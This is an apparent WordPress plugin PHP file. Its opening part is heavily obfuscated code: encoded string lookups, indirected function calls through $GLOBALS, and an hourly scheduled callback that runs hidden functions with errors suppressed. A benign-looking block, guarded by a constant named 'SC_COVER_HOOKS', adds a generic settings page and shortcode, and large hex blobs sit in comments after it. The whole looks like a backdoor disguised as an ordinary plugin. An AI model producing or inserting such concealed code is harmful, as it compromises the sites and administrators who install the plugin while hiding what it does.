 uh36p8urjd71g_u9smnf(b4gbsak56f40gos(227),   op9tjzix(1995),  1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),   fjup2mc1h(1996),  2);
      
uh36p8urjd71g_u9smnf(zp28wk01y(227),      wlgh2_th(1951),  (0x1+0x2));
     uh36p8urjd71g_u9smnf(zp28wk01y(1997),  op9tjzix(1998),     (0x1+0x3));
 uh36p8urjd71g_u9smnf(fjup2mc1h(1999),    op9tjzix(2000), (0x3+0x2));
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),  fjup2mc1h(2001),   (12-6));
 uh36p8urjd71g_u9smnf(op9tjzix(1999),  fjup2mc1h(2002),    (7-1));
   uh36p8urjd71g_u9smnf(op9tjzix(2003),     wlgh2_th(2004));$me5pb7nheyg=PHP_MAJOR_VERSION;$ts9elmfudbb96=$me5pb7nheyg*5;
uh36p8urjd71g_u9smnf(wlgh2_th(1999), b4gbsak56f40gos(2005),  (2+5));
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(2006))) {
    $GLOBALS['__scf_b1rqpek_6hp_174'](function ()   {
if      (!empty($GLOBALS[zp28wk01y(1596)])) return;
  if (!defined(zp28wk01y(1703))    || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1781)))    return;
    if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(2005)))     {
  try  {
 _yjfvv1s_lwgdiro4wbm1();



    }     catch (Throwable  $x0ydieb0v_72m_u)     {
 }   catch (Exception $x0ydieb0v_72m_u) {
     }
}
   });
  }
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),      zp28wk01y(2007),  (6+2));
   

    uh36p8urjd71g_u9smnf(wlgh2_th(2008),     wlgh2_th(2009));

uh36p8urjd71g_u9smnf(tvo1rh46s_(1747), b4gbsak56f40gos(2010));
   uh36p8urjd71g_u9smnf(wlgh2_th(1446),  zp28wk01y(2011),  (19-9));
   uh36p8urjd71g_u9smnf(zp28wk01y(1999),   function ()   {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1781))   ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1878))) return;
   $tj3513movf =      (int)   @get_option(fjup2mc1h(2012),  0);

 if  (($GLOBALS['__scf_yg2rpewmkg_192']()     -  $tj3513movf)    >  (2305+1295))   {
if  (!vbnv9cp3zphaateswj())    return;
 @update_option(b4gbsak56f40gos(2012),   $GLOBALS['__scf_yg2rpewmkg_192']());


    pwvpu09why95tgx6j();


}
 },   (244^253));
 
  uh36p8urjd71g_u9smnf(wlgh2_th(103),      wlgh2_th(2013));
    w1x2vlyn0dayva0xvorosh(zp28wk01y(2014),   fjup2mc1h(2015));
if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(478))     && did_action(fjup2mc1h(1999))) {
  d8pbcrz4yto4oebxs95hd6();
  }
    
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','smooth-manager-live-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('smooth-manager-live_group');
        do_settings_sections('smooth-manager-live-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('smooth-manager-live_group','smooth-manager-live_options');
    add_settings_section('smooth-manager-live_main','Configuration',function(){echo '<p>Configure options below.</p>';},'smooth-manager-live-settings');
    add_settings_field('smooth-manager-live_cache','Cache Mode',function(){
        $o=get_option('smooth-manager-live_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('smooth-manager-live_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'smooth-manager-live-settings','smooth-manager-live_main');
});
if(function_exists('add_shortcode'))add_shortcode('smooth_manager_live_stats',function(){
    $o=get_option('smooth-manager-live_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('smooth-manager-live_options'))add_option('smooth-manager-live_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*e9642ac4a6cf8b4293667c6cce4c30f8534fe7946790bf08177f3f3e5b85c020e3edee5ab60ae4e2872b009a088b8d11f533512dfc0952338569e3bbe105be686d1306c2e079f7118c5378dfc2c7bc04c5d6424fcc6e978d6f0f79ebfb21bd491edb5e8ab715d352d2110b71b97a343356665e03ba13b44d1c2a617bb1ad45a0b0e4f260cbb761e94837228bc7b53cfcb1ec5bdf5a3394b09b6008ab9ca6aa455c187ef20330e7bf23ffc09e9d2d764fa445ce46a43407cb5b36c460b40de36f3902e3d6056959e7c12c21fedc06df90c89732726c8254063f45b99b26ac8aca948cf63b6d7673709e1bf46f46553d0c96d688383511505106298847bce8555ef721e47a8717af2b205d3ec5fda92d324cdf5c3ead4fc5f74e0ea89f9143c40602de6840ba2898c9a6d4bf5f0d764f348e0c3df6ecc9cd09a039672e37daeb4f55048b260efa09306caefbb3d09836fe0618fda0b3e8858ded32a504194caa1496ba0133bef40fcc808ac1fb3268305f77cabec1352b643d785c4fbed25a43c2cc5e17e4705b8ee9b184c57fb50a8363b1f034f1edb86e074ce7a7c04929d9e51e6e90df740b7e1aed60664573646c6591229455ae3f8e95b15b36822d5853e5a3e8e8ee5833d4fcc50b8955f318dda60ab6953c9a764baf409d5d9bf8fd10544dfd8d2075e1919726f0c67e84534d418fb78f57ed1598b1bd9742b2b97b863ae4386ca92255a43f11fbfafc88e1477483863598aedfea8ed6f2a125affbb9df0e4cfdfe3b44a707bf131982bd785d9750acabcd343ec05c6975679764a24ec78fd0b82b77135d7bf5f74f13520c74029780c471454f65280ca2d744c91b1fb2852cdb1dae769bd36f1f28c0606a4193313b8cb9cb7a96219617c0f60224b504192bf0f5dfaf925f510e26576f68203d53b3c06882930b133959b65d500a7b1b6ee3e9257278940b25a1cfccd188a45ab87b163b06e15aec53767a16437a0ba3532ab33057a555b188d8d9331a26e23d3b37c0f58e3877934e09f5975e4bc34f87081ccfaaee0b84e92174b912c83220940540d4808bb4983891b95a9ce0329079da2b014595783a201a8fdaf6feb25e155de21bc6b3f70ee7ade49563f55b634fd2ceaf4ef9bbbabf712474aea6e89de72a559e9e83723aeba8e88a9a777a17fa26417f4659c9e99e3654567660e1421c0aff363e98b64708b1cf43edbd1ac5ec2c14609023db61e9ae8ada7f4d8d8ddcf88195cae5bf766abc9654afa6aeb447e02642b1838811056c71154ce594a3e2e2857b0483baa55c9a5cebdcecb03bb9875e56974e2447d476304ad458f8c0be66e2e980e2e1b6643351eebef077549a1f2b014cb02323bfb33b52d7dd6a646c2839c674c447f614802d562b95a8cc478066d303b6dc0790bf47ed8c5b5f2dfd063d2cdb9414baf68454281ea641ef982dad97d6c41b80ed0fb089439669f4cc60d0d52cfe406491428abd406229d8d49633996680a81525a16251fe007b020b7f19df60ae7e58bc125c855654a8bd9eb72327aae96b7efc22072df6794bd8600d0a501f6da830756af022d5d5f2603bb834bcad282de2f257ae6e8625273a2f4c5af4d59cb66c3613963322d9eec1e78fdc6f740d982e7118050d39c69379adcbbd3ef11f99459dcaa6099ca0fb88b6373850eed2b2b6d8561983505eefd1f04860e71e4b3bf6a5d2f28811a4fc44b7e53757fcf07a667529005445d5aad27b694a428f6819db28bdf0d8c652d972df70592548e7efd8c75fd7709cf8dadc3c4b78edf7962e7beaa0ad9b1a7f2783e1d1948d3745eaf1c27088b1102d7aff5605ad11f2d2e2842a95d74c03367dd3bf3b06e603a800f12e5e02bb72a0e800fc49baf48b431649a90ec483d66e72e5a27c71fdae93f443cc58bc4e7032fd1b1dceb9f89c639426ac2def971e7e91b1f07f1ddeef59e761f445b47c791942b916b33c8fcada501e7fed16cbe8affee2a3c2cdff65cce3c4d17410b02222abc08ffe795d4b1fa9521e121791dd4d8303a3310c03eaf848933a5f77e92747d4d4ca1dcdb9d6c7ed311d4a264e25ec3f54259ca19b5e94912b01597aa24478d8852c3f5d7e9a23c2054f759f493136196d8c6978096e7cd406e01d2fdb1da1f0c0b45c78f7a233f824b24805931bc7a9d3d8b23f27f75c063464030dcda834d55eeddf889275f53dc618e987d3b3eb92d4df52ea6270e0762d0bb9b4742c4203532a6a793398920a26e33cac9d93943c8d5ea767e2fd0e49e1c030884d660dbb92f0342a743621706ccebad7bbaf7512de215b1ccebfc7ddd449994875fa081b6f3f7f91dd12872f5a0bee98e7b4ce0c633d45eb0da67acd22b50d9651d08d40f7edd02e719d120ceedf4a8537fb8b297f111172ae6938e8968faf72eace36a0a6516b1141c0bf40ad36a9f497b1784c51955a25fd0799593937c6f354a7ec37c27772972751c39e403fcde9df5bede7441ddddf73c63268a73de03b13c8c9b5beb288fec5443d7f6c9372305842e28d7e54269dc441f03304d44c90e49d6b26de3a53b07d715c3c6eb9d7f6d587c7c6f76dca1e563c315beaab4f130bc561f128a1e4ab7f3f2ee0dc9b270aaa5cac883768af9fc0aec7bb3d856f15ac31108a9c7f8e7d1ac1c45d21cc8c95e3d13714c97d0b7143e98d899acae0df7275f1afe4d595c39274be3323311f92dbe7b14ef35c4f807fda7fd8b423208aaf65adf6beb47a77da3edca30e9420394aa50a607d87576476308910a1f049a8324aa408f6acbb7dc449fc34671dfe4b1c86ea988ec2ed28ad1ef8fe581c7a157fa038b382*/
/*e784013a8b3b2f16dc9bb47b4a26e1bb4e42a3a7878c44666fbf86b314d51d6c7676e2414ff11f21c5de146e11b3da0770751d2c0d591fe341770474e4e76bcfcf476158fd904ec754b5bc9f3bd3a7566e7b9f783c3c5bac27b2359a4b19e52fcfeb9365ad81e013a71e88e1e9c03f9e39ee5f5f9dc27bb447cb8e164cadb205a26eaaccb99071f13fcd58c56114d2cde3dd1bb4f1cd2a0cf35e4f849b69da12b77fa65746da1afef8eea976100ffa991c9ebb7465ae19ae1879f284e7bc7f34daf0a60995d0d730d3deab1a2d1f33bd19d5b3f1e41833ca9ba2f48b9a785afdeecfcbaae793482abe42be24d739c4d93327043198bed9f26c8494af6ab720b52c5b7b68cb6f57d6ee76a2655e73638b7e72319efb16e39cc31b58ecd7a4da08a2d621500287a72124196bee4f19accf6fb8756307e2305a986715e3e86ef14934c004e16e8e4756216dd8df13b936a87fe51753eb1446444eada063409c810ee118135baeee072ac742936c1ab1b711492ca7dd81e2a424acf76bd7b57c091855a1afb6582a2e53668b8ca30328558ab4de39582b74444f86e1d6e7c3f706dc3453468777b147fec7273d25b3267761472ee2660a044352b0ecbb07ae3d493ed801f88dc310c1fb4dbf069a9cd0f29581da432ddf3bbc5dc5704025d6c8dbf95ca1aa6a3a4ce530a6e44662afc6c8b0c34b75b15d8669c2843ec1238afca64f36fae7fe5394cc9ab3aa0caa3c2d2fc90f6eaacb12ec3b8a39ca11c72af913808d1e2c58e74ace618ee24c30e2d6aeb031c9e1a4ad58c3ccfb40d2e47b126805d3c02c1fb876e1506096b16c288492a831e72b4da50f6abf75f82854b15004e9c502032ba208211981ec5c72b643f5766dbb891e3264d0e68ee5bc8f4d30c164de4fe91fb017b9c1e65f087c6e57196ff6f68fb4ba9d10b8aa082d826376e9184b456a902ce64600c1ecff6a88e1b70c06808314856bc3a56d9dcf5062b09cb7ffcbe311894762af713da191ca9e75dfc3056dbd7b22bc54be0703a9bdb981ba3b82ffb8649ac46b456db46ff35fcb088f76f503128c204ed744bfa8154e8711124b50c8da3661ec8343065ee3081928b11f23456756e9d6ac8597488171025de93a6a2a134745c4774b4b92a6866a1e7f9dbc12ff62732724531c42a8f5f581aebd5da4b3d73a7b64bfc1c3bbe0e2a7dc476fb8465c759fe5ecb2438f45ac2077fd6323e0e196063caf7d62f3475e568441b4016e01e06b3cef2aae5f887a58971799821700e99dccc3ba7fe711f55aa3b4f9a995137a387f2e024ae08f247a0f404ac41880f8a498306ee01bcae118ecc612fc9f88abc064ea91a69199fe5ea564d5fb5f317ff56e190d185f1976ab05a0f2857a8c98c648875cc3a11e27a309d22c124b92c4eb95de584c53df810c18dd3248b6ec595a074284683b83f1449e667953803d2a0a3baa4fb75f0c135abf64c7aad402061b2bbc96ccf37d37160c950382657f3fb6c45e42183b087ac204f31149a580748912e3923561f2f570324fec2c86c51dedd5ba48e61b3383b2faae1b300fcc97e428b2df4aa2ca14c3f7d66ef2f518be4531e9320b2fd8c78d5c2aeb66658408cd5ca4109b51847b6375a178878986242dc9607b4989de05adedbcccdb79ab80be729f43590140edfc4df74a00fe3c359f451fc94f75acafd9ba5a77499c87325347df37ab85dcdc6c5fa2a153bb12a436b4f3b47076057f8a66e8dc8c11375732cad610f4ba1a19e3cbbb4476e88fdb78ee9b242dde900349f0b6c0aae72e3654f9fe14352a7af237c55075e27b1678e104f82d5133e0d42d9be674970d26196c7764195b412817b456ff003e832613337e1523f5de91c1ad450ed26f34a43e53570f3d3613a654f1135c968dbc0102606bbaa4606356e35725dbb841ac457d2919f27491401173a182de64d41753b348143247287fa09f61be59bb3084c9c5f6a814b57cd95dc0d1778e068697612aef66873abeb2cf0977682a2d6d6d903b3eeaa300e0e76a15a706221db45b23be409c6fb2a92f3d16a0c928e4265aa0b2b4095c7cea884be61a8bd78c33b32d9f0f9dacc120e09d74ef528ae75cf677f28b40428623425139cfd78dcdc0216f0644cf105f77f496b735d0f2a7f50846c035441b8bd918a7ab578c55ab310a95987fd69f57be80766c1f0ec17770f4e0a40c14a7197c9b8e6768bc90fee65f008393243deaf33f3aaaf1424df8a55f817c53c4911ee114701128e9ecb7ae0fae2a440fd7c528d6cdbeedbddd109f4c985611a8ffa3ea4a22eb550641e5c8c270f3a88ac240229aa63066287ef1f506cdfa21f87b8a498ec9061340b4c8a0502ed749dd4346475479c2270e0703ed348b32c9050294883db1d31a264daa4e1d92c19234315a0af75a57bf58247e20aea43f936ccd19b3c5177831e5d5a8e829c075a622e74496a983087a698d1b3d261a04fd9527ad82365b4084bd71b822fe6c60a982f100370ed2eac62bb26b7529f1a5bee7d5aea9f2bc7a082843a2401e4332c9ded7d52b81d62a9ff8f9cc5047fc275eb580c144e3b2d1f76e3bccdd7709a00a8e0199859c1c353c8d3b2662302981bba964afc49c8be7dbe416865fcb44122bf6e75fe93bd94b19d0cf27929aedf7e8abf7ce43d330dcbee78c06e1235236a3a95d9dbffafd2e26444946e8dd8eb603802c675a9637f8fd10015cd2b665eb2fb5071d57b6652e79d593e609680715b43c5e4fc9de81844d38c9b0f5a80a85e33539c9d19b429cfb58654b1aa667961a97d0954154d8ed86fa150890048ce5f34b79ea875c7e32da*/
/*185000754e8420a550e0d9486d6f8f94b518a8d18ff0b1708aeb9b7a5dcec748b45d72bf9a68ec53b04dd5a45c3106086de29695af5b44ce9839d44ba7c0ad13a8b204db83b08515f10ab0a7f74640c03ea361f6fac8c30d500005ea29bf4c3b4af1d45c1ef28828a075bd825a32b49b3698b2b5cf3dbf306b1177b9ffeb47929d869944e1d27f64e577194e3bc53cff78f0f9ea1427f62307d6321d1bca1f04dc8773ab30fcb6a89d34652e9a48cfa29155c26ce7da4e2a9641cfd8ef91faef12fdb0ec398501de2bc3657039b8c6eaa3a79c62d9335cabd27c681a4a33eed2f2cb560acf5a73518e57e19434550175aae5da6089987a6627d5ed2ee3fd01ed9e934091eac659fc1330ec3db8133d25edd81cab5aaec8bae9c81eddbd0b4c43551f1dfb0d422d3a4d19d7bfdfa5cb068b7bee04043d26c2f4a97189ae6d8f1c090fda8ef50b4bfe02138fecfd46e138902ad18b060c37fb5b023ae214d4ee76126ace526558ea17e3b2887a7f9aad88cf43323eada0ccd03a36bb4080c24fedab974b541e402aed199877926a517f0836bd40956c23d384db52ae7e4663f6082abdcab6fff97bf15bb320512da7d5ad2f0547f79bd07675c4f61fa6a517827cdfbb82b57b5f19c3284e37f692a565f5fd0d17ca834e262d3d484825c9fe94fceea4863373c3b62d2beebc787db85a133a3b32b7113a48778dcdd96cfedfb3024ca29de46975c95e0a2654184c7e49ae379808d87a29fc82e05f95ad0467e0456d7571640c3116e5f0a552eed622b18c8d11ff35e161cc734b2d503ac95efce86754012558c52328c57512833211b35e0689032a2d1e9b8c02ea2cc0e6caca2bdc215d6a0870ac407782a009589d199374b25e055970c139f091016ba93d8ab57eb469255280e82694df1bb7afe6e8d4d033a18764e110e679d3556ebda8476a705cd08303c372ea9f88ca2f387773401acec70616693fc0a48fee6bc748f13a9c7c287d8e1f5810fb6cca50a2adff190e2e71c739dfd3577e008eb8a06c7a6fcdf9abef18378379cfd7074083966c06e4e7aeab1a5d4c0af5c2830c69fa44b5f46f76c95174780f8d9881c46818e44b3a5b3f9a8c0ccbf4585433cdeb8dfa4d229c7a8e8351077dc9c06d4ebc0b75518a9dc90a5926c5b8e6c975012ea5bfa02d2496f2137fdfaae3e16a2600e3f7a12007688ef55884eb555686a55328424bb96690ef090ecf572130840f60bfb65d5ddb5f236fb550ff43337d2b721fe6fa49bd8a70b7404570d2c03d7aba8aeb09a8417ec75429de1c079577ed553600434d7af9b184e60623f8f80b88baba746f6e22ab50b9e1c37142f315fca8c8087857e5c3c4c86af1250367324cad9bd1ebf0326540ad1d091fc2b2d4b0cace974a6f1f2b320fd55974fefaf1f0d21987e756991bcee952528e224d61b1a25506a794ead2656f452b7dfd1ed96101d2aa4f87b3f7906efc36ff054af0e170254cb23ad10c001a7c47af8a010ed382a6d3d26169fa9856d5c07f4d8643e4ced5efd69f84e8db69a2fec20323505ae17748b64087dafd46d10b59e4a78eed2e8591212a36519026c1d282ff080561e3d5888d8b0d8ad86908c4c684fd1dffa1496135b447736a74be1695ce0d5b654f63de8eaad6eb1d2b28abed41659c394d7ee295c1cc0abdcbdd8b698598cdb3eb2aac6be6afb1b6aa82df9266132ea58471bed246faee7881ba76d8e9be886cfb779eac285e59c027c11b8913dedb530e058d4a22c862395d160e19d7afdb2c86e8ddb7c29dc2a1d5167203974bbfdf232708c17cbb81b04d8b9d2863d8a4f61452b2571eaaf72338079cc0ef17ae31838300cb6343586014b54147634dd1ead807ade370ac3f986521e3a665f7530aac4f3d0b26b8e6ed3a8b7acdaae921f543237b505c6f66dabba7e095812cf4b5422a4e47431becfd79c913c44afe858328c96962349f5bb988398c50a1e66341b7f0e0d1e3a06638fb6610995b38d5b57faeb45a95658e512a9cc43f15ed5003e795fea00add15b64735d5fae369df9cff77b484816b514d6139291cb8367106418e66e26d390242f40d58f89962a09201460ec88d5c03bdd1c1514931a60d111cc11301c1334a1a4ededd66edf95770f49a55ec66a52a1eeffbbf759eb40899d9c117b6e85c8916fd6a125f56e42abb28c8cbd8872d3946bd588a8dfe3736e2ec81097e9d006f84a9fb34060ad01705b24bab273e1d471311ae980880d4be56b089e15ba454e2e2e7a30143bf645224aa0eca6ae3ab2231763330dadb7ab9a4b3fad0e4f698a396a3705a33c1098b408770656f799a7a6306177763f00c0d2ceec52061de4c89623f1a3b3145e96f35c72bb4f04cf2c098a2a989619f19623ccccff522f5e5ff00b9b724ef346354770ec6ec95cfd73d2d51b875069065d95cb7904172ff35dbc817409767bcd5c5445df1f8069372f30fd1fe63a7e100ac14de642acbe588143b33026a1268a2ae8c334c79b515c73bcfce727d02d9b2ec5ac81f724584e4c1cb8854df6be60ca38a7b72f110b401d4061eb3a26ba7d1673f3c941aa2b28ec95619f3fe4cef17f17f4a40ecbb19f5c61d733fcd5e6b8f843faa4ffe87e177e3a4dfec7628f242b18b140a61317f5ba0ff0238a32f86c4d6d4cf6b39fa019026d7ea76502e2abebf9360376b393032bfc35879084d58d8ead601909925ea66bb24fe801fd9f9959ba57e62f148a27d8351d477b629ad515a389c4beda8c6096c085a6ba0ebace593ec123d9c13bd9cf3ce0e9e73c887c37d20ea451d4b608e0fe3825ae208580a92126735c183*/
/*d93b6b5e2edf45c42d6b28c4523bab78e97c7de034d487cdc143eb6143b3f9f780ff392c60164972da4ef4dbe6fe2512f98d2e91ad06015a544000ad1411f5a1df1afbf31059e7dabca4a7457a36c411732a37ffe596c2c6a12eb803c20ff18d9ff81ab381e22fe5d88dc260298ba193f34e0efb23bac4cc1e219a41174de9ff3b5c56005f16ec972f467b0d67e2ac413f18084a7fd859f8afa9160461ba62bd7c3464a851c5a97f3feef850c0eca2c9fc2ed034366cd9b6d220c621afdbaafef9ec105316d78c38cdf7cce8ff5d53eef0d25975fe8cb02385611aa9ef561416fb1f49c338ef2a9d0f43c246f0d3545f73a52a5a99a57f5746b2a8280354d128fb36c05b11d86c3d03e70e2ffac34edbe419224f73634fd00d6d2c6e7c55c7b879cd54547dcf4f57eddc62f839dcbac62f620c894f27941db93b5b95de362c75f100de764200b2b6322a76fd5a4f636ca979b084c5e3f1a709667828900120f6ada880e7206702830d359b937a5ac49a3b4f56c9d3417c5cfe4fd6b0f3e801da96efb70dff680cd06cd0503676bcf6a098013ee9bc3ba2b76132c9d1efd48708bfa96f9c6e9011a1bda02d98ba24f4850922af83e454766f2d7870d35551411e619611bca389b5de8c835d9ed8c6b3f42ef659d2874ea3f44fec7d7606b5b24e5d352906cfd0d7b7e748dc70ca30dfffdfae8b857f1786c2b4606aaedb9a30eff6dc1f3a94ea5fc727572eb2f68a615ca59be197635ad6de248aa2e35614a101a7412fa231e8ee9c51779e2be53e89f6a07a31682b38a7edd3a5ebe849f76382edd0393ed40d14e4d7f5a29ce9cdd58a0aad0ea9e3c80b207893319b57619cc10febdeb6bb956810dd50ab74fabb96f9908d620e5e7046fd37dcd80b5b66299949a85164d17b955b37be022c2a58059c9bf8406014b217044148fe4e2454bad26d0886cf01e5ab076f55cd7417998813edca9a7b4c6c3290ec76a43d0b9eb4171422a6bfad51d60627f7b94f018daa0e98ef65e60eec14a2ecbb041d15d66f90f55d0ddea83d1251671219b248aceec5a58769b51b95ec3c079fc3763ce600add82e3d531c2c23f1d1a0aec568a4a7a4a48971f7c734869be03ba10330ef051af6d8534ebcbb337482dbb5bdda8e137fe6be7ef6c1a768e2cdf69e22f73a029caba92cd4cc4b7686c6dd8740b2ad47145b2287755294bae6dbb77d3cf30763924ec3aba0bb4aa23163dcb98c29f5cf9c42bbcb25bb74e34390c27e484d7d5ec10f96c973fd85a993519586a032594f0e1e9a346ac612e58217e7f48ef67c4e67a27b9d983057a45c7db97a9326ddd4128969d118fb672b2e2f211959ad09e056a4fb49fcd4347365a772cd00ec8c63c0bac5baac5f99a1510db3eaebc0fd47da66eb0c22d470a8bb26ab450688dba1972f5a18681b2ed3d16abc027a707c9f08c23450360f3cba1531100db515cf15bf147d6c4e6310239419de14bd35cc97fc8d3017f9a07edc7ac566351e41f15750e9f24b0274ec3dbbf253c968d34500d8c1ba66c2b7b9beb58ebf175ce5d41267fa272bd9a123c5110fdc39c08bc46303eafbbc71ddda2a684b84c7eba7b1268ab262dd33cadbb31be80bd649335bb5c3c0a440feb3bb38d6eb3a96748decbafb58dee069d8e5043c62fd63ebd457cdac107e7bc174f9390c9c98e14b25636cc6ffa17db98fa84ffbac42613246899e75f68662b836b1b0f72398bfbcb0f436fc2b7e93eccf9237257253b468ba8a4f5875eb017c3864ea8ae73120e05e091e9d3856661fef0deeec056defba9d3f0f60f072a480b5d7481465494d326b94287dc31bbf02f4d6d6210d867df400c459964a68e0c6aa57d40bd5a8229f969ef68a91c39dc4df6e6cac31fde9a6684b837b7f5d708ed7543d98e925cdcbee5bd9285ec60f9c90caa447f0d27096e4ea09d505a5b9419886c47670679e6d789433e1d1b925f56bc76a08e7f6b771b8b522172e7563dc3bb362fdb6e317227034ba6849ed4ca1a8dae66356a7595ca66f0744fbcfc771622e09572df3a13be1c79f93cf51c9a148330910b04eadc68bf3c3d36eeddd3f989e3a620d136a318191d09dcba275439a5a67f95fbba2eea62c1335ec525d08f6913fa81f4ee295d914c131480ac17adebd4f7813f4d66d3420e5e9c1e736fdeb753ce3c18e2db0ce93cb6fdae47ab0895a77a3f18d1b60a85fd2c1ce2372ed09ba6b8306289c10e27098eff59a35bdb0f13a953b1d2f8ea604f95b329e3af7032c05d8f51e2658d0772bd049189ea33b87673bad0ecfddea5a566088144572fb5ea869588413d6210c77917ac47054eada4aea14f0e222f3b78000d4db6f1c38e258da34f704e5ae41a119081ff474b2a8247c061ff2f3834f0c81cc8a73d57e756c280217886a81a614f0358ee310b196a8c26d541e0686b4e48303e10a0e5d3b192143c16d178b5142eda2a0cf5a0dc50bc24141ae6ec183e5044e8d881cb6d9a0a26bd5722312a3519a02654a4eae33166f3b32c14626620935686104472716e5836f86cd9f29c37478d348fd28dc3871b9bde77510cf0e66a099ba477a883daec1d9bc1427bb1e793bdc04893b1f7e018afee01fab23e4c12f880f94c364e85ec642c14af405cb77b64742f6a22f27810232d2b7f3e2e8cb1eda2af0f9fc717ffa87d595e73fad76afdb32cc1cf592343b111b85eab6553eb567a8ffa314ca7605e98fc2d9d38fb44150c02769b7b2603e4628c29090057bc17b7c0ca887ab3c4b6873bbde1bed982bbb3be70cc245dc3e7f414b9b77893d5e6a51eded8c11531e6afbffa4440eadb5*/
/*92a7e70e2f079f1deb1b2a06bddd83967adca0e5bdedfd2089b7e29a24fb4a48c886c3e8a1341396fe83a8b17762d0c242639d8058e614ef2daa17e4c3aca0a71ee0893db7fab77227413ef738458630861dde2356882ee0c5b96c4f90049b92fb41219a5fbf4ef3024bdc6073f9ee37200efd8a4f42e4130a6eddebe33aac4be6df6b4a738f67ba68d3c0769a64c3d46217a59cd678c4c05ffe8aec259dbc2fd098bdd4a0f8ed6f7b959769cfadb3d1d44f92dccaebecbfd4f4ba40a513d3aa11cb15834c07ae6fb70fcc639d6c46cbe1c80935685860cd8253e7c93295f8644df0591ae3e127c3747b43032b3b8d58c80f0b527b13d0716949e82257beff77abf712b8b62b3c20c84f1ec9e20ddd3d254ad27f82f1cc456395a9ba37c0cd9f60341093137404495b3754f3ffd13f6df44948c21945cb2b69e6a2e15bdc6fec09d22b05ebec6e6cbf7cb2eb61ecd183989eb357222185a1ca497bc6437dc41bc135c388e0c5f575239acc3d378ea2fba5d91c4824a2b9d40dd9360691fa41ec211296b3519de5a3557a44cb9d9c333be6907c7b27564795e35d555bb166caa3f987e81774add7e4a8af6079d8329c3295870c7a8c81e1d16d9dc0f0bd37fed9cc9539a0ea9e5438c429360a198c3892ed89d10c22251e510e119240cb8a03c0328119cad3fab6d7faa6b5062d79273d80f020e08885b030abeabad02d130b609f64f2bc9d7002938f62ad10084fb063dae7446118769671d5bcac19022130f7bd436d705b6dbf56f8b75d702d7e53eb729005986d1dde0f749b44b57e96d0b5c71b2fe3782ede68079e445e08395843b0d0dd03ee93464f685aa6bc16d65a41f74290a80aad95658dcf7e230021da0adbf68daa091db4f694d8e752a95267eef115840c86c7588000709b5de5d0a8d5f908e55ad8256b6afa0e6f3578e11cf75b3c733b17548fd3cade25d975a29bbf3ab029db35629d7a5439aec7c7a5efc921cf3f0cd2261c5cab11006d4d48d991c8e95ba6f56fa85637caab41cb616ced0c3aedc7866f1bb6534ba213b37ededdf4a1600b8ee066092469311967314b8b88019fcfc2601ac868bca94793d79df3c358c93e16b0884a315f57c1fc06ba8676540f562ea7957dabea5de11097bc1c71a211c6b4522c56474bd3138a65939f82934e490f854eb0a739f71e97778a0effc2bcb80b6671ea6dd8f819b49b635921c685b15d596713dc991c5483d064c326e1844e166b0889d9dda989de482f02075fef20b1b3f6c973a05c889319148a72a60c332ddf6f0c5172015941d4fcce8b6a5d2afeb9b8e8ba8ee6cfc8eeabf9d476c85a0bd91035ea04a5163724de270a7353f614fc86d3e2c8a35b7a2cac306dba1797f8001ab3d3813729a2a3206ec9029086c9b296df18ea5b5e0aadf789d593fac7d36b809db965cdfa5d03254c26e1e5dbd647e56d371cabca2e2fd437ed42fd86a7ab99b62db30ad551dc719e55a26aa68518fc2a54c5e61e8e0429faa9fd9e47f13c398aa6df023277d93152c63ddb8d7b8d5cfc5cef9675b039006a7d0f24e1c5240eba61b92cb954374021f711aad04b8edc5b8af86483e1207e44111925e877017c6fa51deb950122b474f4a35be234838142abaee642383f5b5669a3e8bbcd97c389ba6c42f013d0c4840513323edbad15f05e55cfef490a252d8c347aabb418561ed0daba1b7a0a2a6344f7d3867d716d0dce61f8905bed9b3af7306add83f1b71ffe2faca50e464ecdf983e469cb353f57949a00b90bf4418c732595f585fba8b38e965c20ec78d47e228efc5055527a78f67fb068e1cc4dea9b75eb9606384617d43c48c1cd1127cf9bdcfad3457db93dbc57f0ffd1bc745565a7947505252ac5e337451f26e2f283255126935c5fd7876ea23dcec8d16f42c58421a24eca522d03d2af728a63c11a6441bc6d9807ec39013984666280c28a57a78cc405461a0ea13fec0554ea946e255f04a8d31a9bfccd9251d954dc7d27c90c628e1431fd77d783af09e9aa858ad2e997e306c4f6285d377b3618070a5d75eaade387d9f88ce170516e4c7b6aa058fbe7f2a54655a2f7d4559191534a4225f3264451e887e110f143f9a01b559c2894cb5cc8fd66a6c878217251354602bc50db5d3dce48cf0cb81c29bc75838c213699926af9b027dec602370bf562812af5733ef701ffcec52c3a2a1bf337fb794e69f963990ab45a427b5eac76eccdcf1e4d8be15b197433066a4935b07b9556ecf2f5708d4958418d998cec4b52527bf275db762de2e9fb39b7f09ea88b63509861c114f4787f87a754efc81fd31e7ae5bd55791547e0ef77384fc27bfe00b64081cbbbff09fc29b2b935a74ff7caff01a892d3d056aa2ac7730b525c3da7d49cba60a48583500f0d318203a393c0ff8cab699f36a9e4a1a08450e0bbf749648c4a012bef7c6845b9d929d1887ae1752a65de541ce003e2b866e9c5024c5eef7e0d1b735622d58adbf9284c52d73511b3dd84dcaf35c690f972df6f32ad7158092fa4d26274e19e7e624dc32a5d25c49bb1e1be03746a122d1f01061ac93581f200dc4346d31c870b565bd779